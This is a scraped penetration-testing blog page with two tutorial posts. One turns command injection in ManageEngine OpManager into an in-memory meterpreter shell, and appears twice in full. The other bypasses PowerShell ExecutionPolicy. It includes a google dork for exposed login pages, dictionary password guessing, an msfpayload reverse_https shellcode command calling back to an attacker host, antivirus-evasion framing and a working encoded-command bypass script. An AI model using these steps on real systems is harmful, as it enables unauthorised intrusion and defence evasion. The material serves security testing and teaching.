It was great seeing everyone at Shmoocon! I had the honor of presenting at Shmoocon Firetalks and at Shmoocon Epilogue. The slides are posted here and the PoC code is here. The Firetalks format only allows for 15 minutes, so I wasn't able to include a demo but I decided to post one online:
The actual talk:
Shmoocon Epilogue had some awesome talks! I gave the same talk but with an hour at (1:04:16), but you should check out the other talks as well. I will definitely see you at Epilogue next year!
Thanks for all the feedback and you guys are awesome!
-Chris
Showing posts with label executionpolicy bypass. Show all posts
Showing posts with label executionpolicy bypass. Show all posts
Friday, February 22, 2013
Friday, April 27, 2012
Command Injection to Code Execution with PowerShell
A common scenario that testers face involves leveraging command injection vulnerabilities into a full-blown shell. A lot of people view command injection as an old technique, but it is very relevant today. There are many different types of attacks that end in command injection (e.g. SQL injection), so testers need a way to turn Windows commands into shell access. There are many documented ways of doing this including FTP, TFTP and downloading through a browser. These methods work in a lot of cases, but I have seen a rise in organizations that have taken steps to prevent those methods and all of them involve writing a binary to disk.
Some command injection "vulnerabilities" are actually intentional features included by vendors. The one that I will be using as an example falls into that category and is a part of ManageEngine's OpManger. OpManager is used by network and system administrators to centrally manage servers and network devices. As such, it comes with cool features like a "Run System Command" alert profile. Any command can be run, but we won't receive the results back (blind command injection?). We could pipe the results to a text file in a directory that we can access through the browser (e.g. /help/user_guide/) , but that would leave evidence that could potentially be discovered. Thanks to the research of several people, we can easily turn command injection into a full meterpreter shell with PowerShell and not worry about antivirus because we will never write to disk.
You might be wondering how we got here, which is a fair question. A web server housing such important data would never be accessible externally (google dork: intitle: ManageEngine OpManager inurl:loginpage.do), but maybe we are pivoting from another compromised box. Since we want to see the page with a browser, we will actually need to port forward to the remote host.
The next stumbling block is the pesky login page. Logs on appliances are seldom monitored as closely as other servers, so there is a chance that we can "guess" the password with a small dictionary. OpManager doesn't allow several characters in passwords, so there is a higher chance that a simple dictionary will work. Maintaining a good dictionary and the ability to generate custom dictionaries are critical tasks for successful testers. We can use the Firefox add-on Fireforce to utilize our dictionary and hopefully get the admin password.
Fireforce needs a string to detect a failed login attempt, so we can try to login with our first password guess. Now we can configure Fireforce with the string "Invalid username and/or password." and load our custom dictionary.
Now that we are all caught up on the backstory, let's use PowerShell to get a meterpreter shell. This process involves a few steps:
1. Generate shellcode and convert it to a format that PowerShell understands.
2. Drop the shellcode into Matt Graeber's injection script, start a handler and test it.
3. Encode the script using Dave Kennedy's ExecutionPolicy bypass script.
4. Execute the encoded string and continue post-exploitation.
Generating shellcode with msfpayload or msfvenom is pretty straightforward and with a little massaging we can get properly formatted shellcode piped to a text file:
msfpayload windows/meterpreter/reverse_https LHOST=192.168.1.200 LPORT=443 EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- | sed 's/^[^0]*\(0.*\/\*\).*/\1/' | sed 's/.\{2\}$//' | tr -d '\n' > /tmp/powershell_codeexec.txt
Now we can drop that directly into Matt Graeber's shellcode injection script. Next, start our handler and test the script. I have seen times where one payload will consistently crash PowerShell and a slightly different one will work flawlessly. Your mileage will vary, but the important thing to remember is to always test your payloads before deploying them.
The next step is to bypass PowerShell's ExecutionPolicy since we don't know which policy type is being enforced. We can use Dave Kennedy, Josh Kelley and Kathy Peter's CreateCMD script to encode the entire script into a single command that can be executed through the command injection vulnerability.
Run the script and copy the output.
Now we have a memory resident shell by executing one command without having to worry about antivirus or host-based security products. Hopefully you can see how easy PowerShell makes this process. Also, if you run into this scenario with OpManager in a real test, you are more than likely one token impersonation away from domain administrator privileges.
-Chris
Some command injection "vulnerabilities" are actually intentional features included by vendors. The one that I will be using as an example falls into that category and is a part of ManageEngine's OpManger. OpManager is used by network and system administrators to centrally manage servers and network devices. As such, it comes with cool features like a "Run System Command" alert profile. Any command can be run, but we won't receive the results back (blind command injection?). We could pipe the results to a text file in a directory that we can access through the browser (e.g. /help/user_guide/) , but that would leave evidence that could potentially be discovered. Thanks to the research of several people, we can easily turn command injection into a full meterpreter shell with PowerShell and not worry about antivirus because we will never write to disk.
The next stumbling block is the pesky login page. Logs on appliances are seldom monitored as closely as other servers, so there is a chance that we can "guess" the password with a small dictionary. OpManager doesn't allow several characters in passwords, so there is a higher chance that a simple dictionary will work. Maintaining a good dictionary and the ability to generate custom dictionaries are critical tasks for successful testers. We can use the Firefox add-on Fireforce to utilize our dictionary and hopefully get the admin password.
Fireforce needs a string to detect a failed login attempt, so we can try to login with our first password guess. Now we can configure Fireforce with the string "Invalid username and/or password." and load our custom dictionary.
Now that we are all caught up on the backstory, let's use PowerShell to get a meterpreter shell. This process involves a few steps:
1. Generate shellcode and convert it to a format that PowerShell understands.
2. Drop the shellcode into Matt Graeber's injection script, start a handler and test it.
3. Encode the script using Dave Kennedy's ExecutionPolicy bypass script.
4. Execute the encoded string and continue post-exploitation.
Generating shellcode with msfpayload or msfvenom is pretty straightforward and with a little massaging we can get properly formatted shellcode piped to a text file:
msfpayload windows/meterpreter/reverse_https LHOST=192.168.1.200 LPORT=443 EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- | sed 's/^[^0]*\(0.*\/\*\).*/\1/' | sed 's/.\{2\}$//' | tr -d '\n' > /tmp/powershell_codeexec.txt
Now we can drop that directly into Matt Graeber's shellcode injection script. Next, start our handler and test the script. I have seen times where one payload will consistently crash PowerShell and a slightly different one will work flawlessly. Your mileage will vary, but the important thing to remember is to always test your payloads before deploying them.
The next step is to bypass PowerShell's ExecutionPolicy since we don't know which policy type is being enforced. We can use Dave Kennedy, Josh Kelley and Kathy Peter's CreateCMD script to encode the entire script into a single command that can be executed through the command injection vulnerability.
Run the script and copy the output.
Now we have a memory resident shell by executing one command without having to worry about antivirus or host-based security products. Hopefully you can see how easy PowerShell makes this process. Also, if you run into this scenario with OpManager in a real test, you are more than likely one token impersonation away from domain administrator privileges.
-Chris
Sunday, August 7, 2011
PowerShell ExecutionPolicy Bypass
PowerShell is exciting and has really taken off as the replacement for Vbscript. I hope to blog more about the awesome features of PowerShell in the future, but I will start off with a simple bypass of Execution Policies so that you can use your scripts. Execution policies are seen as a "security" feature by many administrators. This policy will not allow scripts to be run unless they meet the requirements of the policy. To find out more about "ExecutionPolicy" use the get-help cmdlet from within PowerShell:
PS C:\Users\Chris> get-help Set-ExecutionPolicy -examples
NAME Set-ExecutionPolicy
SYNOPSIS Changes the user preference for the Windows PowerShell execution policy.
-------------------------- EXAMPLE 1 --------------------------
C:\PS>set-executionpolicy remotesigned
Description
-----------
This command sets the user preference for the shell execution policy to RemoteSigned.
-------------------------- EXAMPLE 2 --------------------------
C:\PS>Set-ExecutionPolicy Restricted
Set-ExecutionPolicy : Windows PowerShell updated your local preference successfully, but the setting is overridden by the group policy applied to your system. Due to the override, your shell will retain its current effective execution policy of "AllSigned". Contact your group policy administrator for more information.
At line:1 char:20 + set-executionpolicy <<<< restricted
Description
-----------
This command attempts to set the execution policy for the shell to "Restricted." The "Restricted" setting is written to the registry, but because it conflicts with a Group Policy, it is not effective, even though it is more restrictive than the policy.
-------------------------- EXAMPLE 3 --------------------------
C:\PS>invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force
Description
-----------
This command gets the execution policy from a remote computer and applies that execution policy to the local computer.
The command uses the Invoke-Command cmdlet to send the command to the remote computer. Because you can pipe an ExecutionPolicy (Microsoft.PowerShell.ExecutionPolicy) object to Set-ExecutionPolicy, the Set-ExecutionPolicy command does not need an ExecutionPolicy parameter.
The command does have a Force parameter, which suppresses the user prompt.
-------------------------- EXAMPLE 4 --------------------------
C:\PS>set-executionpolicy -scope CurrentUser -executionPolicy AllSigned -force
C:\PS> get-executionpolicy -list
Scope ExecutionPolicy
----- ---------------
MachinePolicy Undefined
UserPolicy Undefined
Process Undefined
CurrentUser AllSigned
LocalMachine RemoteSigned
C:\PS> get-executionpolicy
AllSigned
Description
-----------
This example shows how to set an execution policy for a particular scope.
The first command uses the Set-ExecutionPolicy cmdlet to set an execution policy of AllSigned for the current user. It uses the Force parameter to suppress the user prompts.
The second command uses the List parameter of Get-ExecutionPolicy to get the execution policies set in each scope. The results show that the execution policy that is set for the current user differs from the execution policy set for all users of the computer.
The third command uses the Get-ExecutionPolicy cmdlet without parameters to get the effective execution policy for the current user on the local computer. The result confirms that the execution policy that is set for the current user takes precedence over the one set for all users.
-------------------------- EXAMPLE 5 --------------------------
C:\PS>set-executionpolicy -scope CurrentUser -executionPolicy Undefined
Description
-----------
This command uses an execution policy value of Undefined to effectively remove the execution policy that is set for the current user scope. As a result, the execution policy that is set in Group Policy or in the LocalMachine (all users) scope is effective.
If you set the execution policy in all scopes to Undefined and the Group Policy is not set, the default execution policy, Restricted, is effective for all users of the computer.
Although the descriptions read like they are security features, that's not the case as evidenced in David Kennedy and Josh Kelley's "PowerShell OMFG" talk at Defcon last year. One of the things that they pointed out is that you can encode a script and pass it directly to PowerShell.
For example, lets try to launch a simple PowerShell script that executes calc.exe with the ExecutionPolicy set to restricted.
Although this example uses PowerShell 1.0, it also works with 2.0. Notice that the error points out that execution of scripts are disabled. You can use the bat script below to bypass this restriction.
<script begin>
@echo off
REM: Bypass.bat
REM: cmd /C bypass.bat yourps1.ps1
powershell.exe -noprofile -Command "powershell.exe -noprofile -encodedCommand ([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes((gc %1 |%%{$_}|out-string))))"
<script end>
C:\bypass.bat popCalc.ps1
We have successfully bypassed the execution policy with a limited user. This method does not change the permissions of the logged-in user, but it does allow you run ps1 scripts regardless of the enforced settings. Administrators that aren't using PowerShell should use software restriction policies with Active Directory to prevent its use for nefarious purposes such as the execution of shellcode.
References:
http://www.secmaniac.com/files/PowerShell_Defcon.pdf
-Chris
Subscribe to:
Posts (Atom)